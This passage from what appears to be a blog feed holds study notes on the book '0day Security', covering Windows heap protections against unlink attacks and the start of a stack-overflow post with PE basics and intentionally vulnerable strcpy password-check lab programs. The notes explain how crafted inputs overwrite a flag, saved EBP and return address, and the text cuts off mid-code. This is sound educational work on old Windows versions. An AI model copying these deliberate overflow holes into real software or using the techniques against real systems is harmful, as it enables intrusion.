exception&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;12&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;        &lt;/span&gt;&lt;span&gt;return&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;13&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;14&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Forged Flink/Blink values can’t pass this “you point at me, I point at you” check, so the unlink route is basically closed.&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;Heap cookie&lt;a href=&quot;#heap-cookie&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Like the security cookie on the stack, Microsoft also put a 1-byte cookie in the chunk header, to detect whether an overflow changed the header.&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;Metadata encoding&lt;a href=&quot;#metadata-encoding&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Starting with &lt;code&gt;Windows Vista&lt;/code&gt;, some important fields in the chunk header (size, Flink, Blink and so on) are XORed with a random 4-byte value when stored and XORed back when used. Without knowing that value you can’t forge a meaningful header directly, which makes the header-overwriting attacks above even harder.&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;Another angle, resizing chunks&lt;a href=&quot;#another-angle-resizing-chunks&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;SafeUnlink only checks the doubly linked list when &lt;em&gt;taking a chunk off&lt;/em&gt;, not when &lt;em&gt;putting one on&lt;/em&gt;. So one idea is to trigger an insertion, either by freeing a chunk into a free list, or by an allocation whose leftover gets cut off and inserted into a free list. Inserting a new chunk runs:&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;&lt;code&gt;newchunk-&amp;gt;Blink = oldchunk-&amp;gt;Flink-&amp;gt;Blink&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;oldchunk-&amp;gt;Flink-&amp;gt;Blink-&amp;gt;Flink = newchunk&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;oldchunk-&amp;gt;Flink-&amp;gt;Blink = newchunk&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;p&gt;If you control the old chunk’s Flink (overwritten with an address) and Blink (overwritten with a value), the second line is a DWORD SHOOT all over again. I never wrote a full exploit for this back then, so I’m just leaving the idea here.&lt;/p&gt;&lt;hr /&gt;&lt;/section&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;Looking at it again today&lt;a href=&quot;#looking-at-it-again-today&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Every lab above uses the Windows 2000 heap (the NT5 heap), which you basically won’t find on today’s Windows.&lt;/p&gt;&lt;p&gt;The protections from XP SP2 to Vista (safe unlink, heap cookies, metadata encoding) shut down the classic “overwrite the header + DWORD SHOOT through unlink” route. The bigger change is that the heap implementation itself got replaced. From Vista on, the system turns on the Low Fragmentation Heap (LFH) when it’s needed. It isn’t a separate heap. It hands out small chunks (under about 16KB) in batches of fixed size classes, and programs don’t have to enable it, the system just switches it on when it sees lots of small allocations. Windows 10 2004 added the Segment Heap on top of that, which you can turn on with &lt;code&gt;&amp;lt;heapType&amp;gt;SegmentHeap&amp;lt;/heapType&amp;gt;&lt;/code&gt; in the app manifest (system processes and some modern apps use it by default). The metadata layout, checks and randomization of both are completely different from the NT5 heap, so not a single offset or struct from the book lines up anymore.&lt;/p&gt;&lt;p&gt;That’s why heap exploitation today rarely touches the heap’s own metadata. The usual approach is heap layout (heap grooming, or heap feng shui). You carefully arrange allocations and frees so that an object you control lands right where your overflow can reach, and then you change something inside that application object, like a vtable pointer, a length field or a callback pointer. You use an info leak to get addresses first, then decide where to write. In other words, the target moved from “the heap manager’s lists” to “the objects living on the heap”, while the heap manager keeps getting hardened. At the level of ideas, what this post is about still holds today, that the moments of allocate, free and coalesce are the moments to strike. What changed is only where exactly you strike.&lt;/p&gt;&lt;/section&gt;</content:encoded></item><item><title>Rereading 0day Security (1), Stack Overflows and Shellcode Basics</title><link>https://blog.lumysia.net/posts/reread-0day-1-stack-overflow-and-shellcode/</link><guid isPermaLink="true">https://blog.lumysia.net/posts/reread-0day-1-stack-overflow-and-shellcode/</guid><description>My first round of labs from the book 0day Security, covering PE address conversion, overwriting a return address with a stack overflow, the jmp esp trampoline, finding kernel32 through the PEB, encoding shellcode, plus a little format string bug at the end.</description><pubDate>Sun, 18 Oct 2020 00:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;&lt;p&gt;This series is the notes I kept in 2020 while working through the labs in &lt;em&gt;0day Security: Software Vulnerability Analysis Techniques, 2nd edition&lt;/em&gt; (by failwest and others, a classic Chinese book on Windows exploitation). The lab designs and most of the code come from the book. The debugging and the understanding are my own, so if you want to learn this properly, please go read the book. In 2026 I tidied everything up again, fixed a few mistakes in the code and in what I wrote, and added a “Looking at it again today” section at the end of each post about how much of these tricks still works on today’s Windows.&lt;/p&gt;&lt;/blockquote&gt;
&lt;p&gt;A bug that can make software do something outside what it was designed to do is a vulnerability. This post walks through exploiting a few simple buffer overflows.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;A functional logic flaw (a bug)&lt;/li&gt;
&lt;li&gt;A security logic flaw (a vulnerability)&lt;/li&gt;
&lt;/ul&gt;
&lt;section&gt;&lt;h2&gt;PE basics&lt;a href=&quot;#pe-basics&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;section&gt;&lt;h3&gt;How a PE file maps into virtual memory&lt;a href=&quot;#how-a-pe-file-maps-into-virtual-memory&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;ul&gt;
&lt;li&gt;ImageBase: the load base address, by default 0x00400000 for an .EXE and 0x10000000 for a .DLL&lt;/li&gt;
&lt;li&gt;FileOffset: the offset in the file&lt;/li&gt;
&lt;li&gt;VirtualAddress: the virtual address, where it lands in memory&lt;/li&gt;
&lt;li&gt;RelativeVirtualAddress: the relative virtual address, the offset of a VA from the load base&lt;/li&gt;
&lt;/ul&gt;&lt;blockquote&gt;&lt;p&gt;VA = ImageBase + RVA&lt;/p&gt;&lt;/blockquote&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;Padding and alignment rules&lt;a href=&quot;#padding-and-alignment-rules&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;ul&gt;
&lt;li&gt;On disk, each section of a PE file is stored in units of 0x200 bytes. A section smaller than 0x200 is padded with 0x0, and a bigger one gets another 0x200 chunk&lt;/li&gt;
&lt;li&gt;In memory, each section is stored in units of 0x1000 bytes, with the same rules&lt;/li&gt;
&lt;li&gt;0x200 and 0x1000 are the defaults of compilers like VC6. The real numbers are FileAlignment and SectionAlignment in the PE header&lt;/li&gt;
&lt;/ul&gt;&lt;blockquote&gt;&lt;p&gt;SectionOffset = RVA - FileOffset&lt;br /&gt;
FileOffset = VA - ImageBase - SectionOffset = RVA - SectionOffset&lt;/p&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;p&gt;For example, if the .text section has RVA=0x1000 and FileOffset=0x400, then SectionOffset=0xC00&lt;br /&gt;
The instruction at 0x00404141 is at file offset 0x00404141-0x00400000-(0x1000-0x400)=0x3541&lt;/p&gt;&lt;/blockquote&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;Calling conventions&lt;a href=&quot;#calling-conventions&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;

&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;/th&gt;&lt;th&gt;C&lt;/th&gt;&lt;th&gt;SysCall&lt;/th&gt;&lt;th&gt;StdCall&lt;/th&gt;&lt;th&gt;BASIC&lt;/th&gt;&lt;th&gt;FORTRAN&lt;/th&gt;&lt;th&gt;PASCAL&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;Argument push order&lt;/td&gt;&lt;td&gt;right-&amp;gt;left&lt;/td&gt;&lt;td&gt;right-&amp;gt;left&lt;/td&gt;&lt;td&gt;right-&amp;gt;left&lt;/td&gt;&lt;td&gt;left-&amp;gt;right&lt;/td&gt;&lt;td&gt;left-&amp;gt;right&lt;/td&gt;&lt;td&gt;left-&amp;gt;right&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Who cleans up the stack&lt;/td&gt;&lt;td&gt;caller&lt;/td&gt;&lt;td&gt;caller&lt;/td&gt;&lt;td&gt;callee&lt;/td&gt;&lt;td&gt;callee&lt;/td&gt;&lt;td&gt;callee&lt;/td&gt;&lt;td&gt;callee&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;p&gt;SysCall here is the convention the OS/2 API used. Like cdecl, the caller cleans the stack (and AL carries the argument count). It has nothing to do with the x86 &lt;code&gt;syscall&lt;/code&gt; instruction. The ones you actually meet on Windows are C (cdecl) and StdCall, and almost the whole Win32 API is StdCall.&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;Buffer overflows&lt;a href=&quot;#buffer-overflows&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;blockquote&gt;&lt;p&gt;Stack frames sit next to each other and so do local variables. If an array runs past its end, it overwrites the local variables, then the function’s return address&lt;br /&gt;
Flooding the return address in the stack frame lets you control where the program goes&lt;/p&gt;&lt;/blockquote&gt;&lt;hr /&gt;&lt;/section&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;Shellcode&lt;a href=&quot;#shellcode&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;section&gt;&lt;h3&gt;How the exploit and the shellcode (payload) split the work&lt;a href=&quot;#how-the-exploit-and-the-shellcode-payload-split-the-work&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;ul&gt;
&lt;li&gt;The exploit’s job is to hit one specific vulnerability precisely, with the goal of hijacking EIP&lt;/li&gt;
&lt;li&gt;The shellcode is the payload, the code (malicious or friendly) that actually runs&lt;/li&gt;
&lt;li&gt;Shellcode is usually generic, while an exploit only works against one particular bug&lt;/li&gt;
&lt;/ul&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;Examples&lt;a href=&quot;#examples&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;These examples use a simple password check to test the bug&lt;/p&gt;&lt;hr /&gt;&lt;section&gt;&lt;h4&gt;Overflowing a buffer to change a flag&lt;a href=&quot;#overflowing-a-buffer-to-change-a-flag&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;section&gt;&lt;h5&gt;Code (ExpStd0101)&lt;a href=&quot;#code-expstd0101&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h5&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;Note&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;Built on: Windows XP SP3, Visual C++ 6, Debug
Run on: Windows XP SP3&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;#include&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&amp;lt;stdio.h&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;#include&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&amp;lt;string.h&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;#define&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;PASSWORD&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;1234567&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;int&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;verify_password&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;char&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;*&lt;/span&gt;&lt;span&gt;&lt;span&gt;password&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;6&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;{&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;7&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;int&lt;/span&gt;&lt;span&gt; authenticated;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;8&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;char&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;buffer&lt;/span&gt;&lt;span&gt;[&lt;/span&gt;&lt;span&gt;8&lt;/span&gt;&lt;span&gt;];&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;9&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;authenticated &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;strcmp&lt;/span&gt;&lt;span&gt;(password, PASSWORD);&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;10&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;strcpy&lt;/span&gt;&lt;span&gt;(buffer, password);&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;11&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;return&lt;/span&gt;&lt;span&gt; authenticated;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;12&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;13&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;14&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;int&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;main&lt;/span&gt;&lt;span&gt;()&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;15&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;{&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;16&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;int&lt;/span&gt;&lt;span&gt; valid_flag &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;17&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;char&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;password&lt;/span&gt;&lt;span&gt;[&lt;/span&gt;&lt;span&gt;1024&lt;/span&gt;&lt;span&gt;];&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;18&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;while&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;19&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;20&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;        &lt;/span&gt;&lt;span&gt;printf&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&quot;Input Number:&quot;&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;21&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;        &lt;/span&gt;&lt;span&gt;scanf&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;%s&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;, password);&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;22&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;        &lt;/span&gt;&lt;/span&gt;&lt;span&gt;valid_flag &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;verify_password&lt;/span&gt;&lt;span&gt;(password);&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;23&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;        &lt;/span&gt;&lt;span&gt;if&lt;/span&gt;&lt;span&gt;(valid_flag)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;24&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;        &lt;/span&gt;&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;25&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;            &lt;/span&gt;&lt;span&gt;printf&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&quot;ERROR!&quot;&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;26&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;        &lt;/span&gt;&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;27&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;        &lt;/span&gt;&lt;span&gt;else&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;28&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;        &lt;/span&gt;&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;29&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;            &lt;/span&gt;&lt;span&gt;printf&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&quot;OK!&quot;&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;30&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;            &lt;/span&gt;&lt;span&gt;break&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;31&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;        &lt;/span&gt;&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;32&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;33&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/section&gt;&lt;section&gt;&lt;h5&gt;Analysis (ExpStd0101)&lt;a href=&quot;#analysis-expstd0101&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h5&gt;&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Quick look&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Type 99999999 and its trailing &lt;code&gt;&apos;\0&apos;&lt;/code&gt; lands in the 9th byte, which turns the lowest byte of authenticated from 0x1 into 0x0&lt;/li&gt;
&lt;li&gt;strcmp matters here too. If &lt;code&gt;str1&amp;lt;str2&lt;/code&gt;, authenticated is -1, stored as &lt;code&gt;FFFFFFFF&lt;/code&gt; in two’s complement, and overflowing the low &lt;code&gt;FF&lt;/code&gt; into &lt;code&gt;00&lt;/code&gt; does nothing. So not every 8-character input gets past the check&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Checking further&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;With eight 9s, the 8-byte buffer fills up and 1 byte of authenticated gets overwritten&lt;/li&gt;
&lt;li&gt;With eleven 9s, the 8-byte buffer fills up and all 4 bytes of authenticated are overwritten, so it becomes &lt;code&gt;0x00393939&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;With fifteen 9s, the 8-byte buffer fills up, the 4 bytes of authenticated are overwritten, and so is this function’s saved EBP slot (which holds the caller’s EBP)&lt;/li&gt;
&lt;li&gt;With nineteen 9s, the 8-byte buffer fills up, then 4 bytes of authenticated, 4 bytes of EBP and 4 bytes of return address are overwritten&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Going further&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;You can’t type some invisible characters on a keyboard, so the next test reads the input from a file&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;&lt;hr /&gt;&lt;/section&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;Steering the program with a hardcoded address&lt;a href=&quot;#steering-the-program-with-a-hardcoded-address&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;This one reads the input file with FILE&lt;/p&gt;&lt;section&gt;&lt;h5&gt;Code (ExpStd0102)&lt;a href=&quot;#code-expstd0102&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h5&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;Note&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;Built on: Windows XP SP3, Visual C++ 6, Debug
Run on: Windows XP SP3&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;#include&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&amp;lt;stdio.h&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;#include&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&amp;lt;string.h&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;#include&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&amp;lt;stdlib.h&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;#define&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;PASSWORD&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;1234567&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;6&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;int&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;verify_password&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;char&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;*&lt;/span&gt;&lt;span&gt;&lt;span&gt;password&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;7&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;{&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;8&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;int&lt;/span&gt;&lt;span&gt; authenticated;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;9&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;char&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;buffer&lt;/span&gt;&lt;span&gt;[&lt;/span&gt;&lt;span&gt;8&lt;/span&gt;&lt;span&gt;];&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;10&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;authenticated &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;strcmp&lt;/span&gt;&lt;span&gt;(password, PASSWORD);&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;11&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;strcpy&lt;/span&gt;&lt;span&gt;(buffer, password);&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;12&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;return&lt;/span&gt;&lt;span&gt; 